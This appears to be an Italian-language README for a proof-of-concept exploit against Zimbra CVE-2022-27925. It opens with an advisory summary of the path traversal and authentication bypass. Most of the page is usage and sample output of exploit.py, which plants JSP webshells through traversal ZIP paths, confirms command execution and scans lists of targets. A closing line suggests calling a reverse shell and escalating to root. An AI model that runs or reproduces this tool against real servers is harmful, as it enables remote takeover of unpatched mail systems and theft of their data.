
Zimbra CVE-2022-27925 PoC
Il 10 maggio 2022, Zimbra ha rilasciato le versioni 9.0.0 patch 24 e 8.8.15 patch 31 per risolvere diverse vulnerabilità in Zimbra Collaboration Suite, tra cui CVE-2022-27924 (di cui abbiamo scritto in precedenza) e CVE-2022-27925.
Inizialmente, Zimbra ha descritto CVE-2022-27925 come un attacco di path traversal autenticato, in cui un utente amministrativo poteva scrivere file in qualsiasi directory del filesystem con l'account Zimbra. Poiché inizialmente si pensava fosse un attacco riservato ai soli amministratori, NVD gli ha assegnato un punteggio base CVSS di 7.8. Successivamente, Volexity ha notato che gli attaccanti che sfruttavano questa vulnerabilità avevano trovato un modo per bypassare i requisiti amministrativi e ne ha scritto il 10 agosto 2022. Questo nuovo bypass dell'autenticazione ha ricevuto un nuovo identificatore: CVE-2022-37042.
Combinando la vulnerabilità originale di path traversal e il nuovo bypass dell'autenticazione, gli attaccanti possono compromettere da remoto un sistema Zimbra Collaboration Suite tramite la porta amministrativa (per impostazione predefinita, 7071) in modo anonimo. In combinazione con una vulnerabilità di escalation dei privilegi non corretta di cui abbiamo recentemente scritto e per la quale abbiamo realizzato un exploit, queste tre vulnerabilità portano all'esecuzione remota di comandi come utente root sui sistemi non aggiornati.
Sebbene gli advisory pubblici non lo menzionino, secondo la nostra analisi, Zimbra Collaboration Suite Network Edition (l'edizione a pagamento) è vulnerabile, mentre l'Open Source Edition (gratuita) non lo è (poiché non dispone dell'endpoint mboximport vulnerabile). Le versioni vulnerabili sono:
Zimbra Collaboration Suite Network Edition 9.0.0 Patch 23 (e precedenti)
Zimbra Collaboration Suite Network Edition 8.8.15 Patch 30 (e precedenti)
Queste vulnerabilità (e altre in Zimbra) sono oggetto di sfruttamento diffuso in ambienti reali e dovrebbero quindi essere corrette o portate offline il prima possibile. Se sospetti di essere stato compromesso, Zimbra fornisce le procedure per ricostruire da zero il tuo server Zimbra Collaboration Suite con l'ultima patch senza perdere dati.
Fonte: https://attackerkb.com/topics/dSu4KGZiFd/cve-2022-27925/rapid7-analysis
_____ _ __
/__ / (_)___ ___ / /_ _________ _
/ / / / __ `__ \/ __ \/ ___/ __ `/
/ /__/ / / / / / / /_/ / / / /_/ /
/____/_/_/ /_/ /_/_.___/_/ \__,_/
CVE-2022-27925
usage: exploit.py [-h] [-t TARGET] [-l LIST]
options:
-h, --help show this help message and exit
-t TARGET, --target TARGET
URl with protocol HTTPS
-l LIST, --list LIST List of targets
root@root# python exploit.py -t zimbra.example.com
_____ _ __
/__ / (_)___ ___ / /_ _________ _
/ / / / __ `__ \/ __ \/ ___/ __ `/
/ /__/ / / / / / / /_/ / / / /_/ /
/____/_/_/ /_/ /_/_.___/_/ \__,_/
CVE-2022-27925
[!] Testing URL: https://zimbra.example.com
[!] Target is up!
[!] Creating malicious ZIP path: ../../../../mailboxd/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[+] Webshell works!!
[+] WebShell location: https://zimbra.example.com/zimbraAdmin/BQOQBN.jsp
[+] Uname -a output: Linux zimbra.docker 3.10.0-1127.8.2.el7.x86_64 #1 SMP Thu May 7 19:30:37 EDT 2020 x86_64 x86_64 x86_64 GNU/Linux
root@root# python exploit.py -l targets.txt
_____ _ __
/__ / (_)___ ___ / /_ _________ _
/ / / / __ `__ \/ __ \/ ___/ __ `/
/ /__/ / / / / / / /_/ / / / /_/ /
/____/_/_/ /_/ /_/_.___/_/ \__,_/
CVE-2022-27925
[!] Testing URL: https://patched.example.com
[!] Target is up!
[!] Creating malicious ZIP path: ../../../../mailboxd/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[-] Target not vulnerable
[!] Creating malicious ZIP path: ../../../../jetty_base/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[-] Target not vulnerable
[!] Creating malicious ZIP path: ../../../../jetty/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[-] Target not vulnerable
[!] Testing URL: https://zimbra.example.com
[!] Target is up!
[!] Creating malicious ZIP path: ../../../../mailboxd/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[+] Webshell works!!
[+] WebShell location: https://zimbra.example.com/zimbraAdmin/7RRT4G.jsp
[+] Uname -a output: Linux zimbra.docker 3.10.0-1127.8.2.el7.x86_64 #1 SMP Thu May 7 19:30:37 EDT 2020 x86_64 x86_64 x86_64 GNU/Linux
[!] Creating malicious ZIP path: ../../../../jetty_base/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[+] Webshell works!!
[+] WebShell location: https://zimbra.example.com/zimbraAdmin/7RRT4G.jsp
[+] Uname -a output: Linux zimbra.docker 3.10.0-1127.8.2.el7.x86_64 #1 SMP Thu May 7 19:30:37 EDT 2020 x86_64 x86_64 x86_64 GNU/Linux
[!] Creating malicious ZIP path: ../../../../jetty/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[+] Webshell works!!
[+] WebShell location: https://zimbra.example.com/zimbraAdmin/7RRT4G.jsp
[+] Uname -a output: Linux zimbra.docker 3.10.0-1127.8.2.el7.x86_64 #1 SMP Thu May 7 19:30:37 EDT 2020 x86_64 x86_64 x86_64 GNU/Linux
[!] Testing URL: https://patched.example.com
[!] Target is up!
[!] Creating malicious ZIP path: ../../../../mailboxd/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[-] Target not vulnerable
[!] Creating malicious ZIP path: ../../../../jetty_base/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[-] Target not vulnerable
[!] Creating malicious ZIP path: ../../../../jetty/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[-] Target not vulnerable
root@root# .
Per ottenere root sulla macchina puoi richiamare una reverse shell e poi usare Slaper's LPE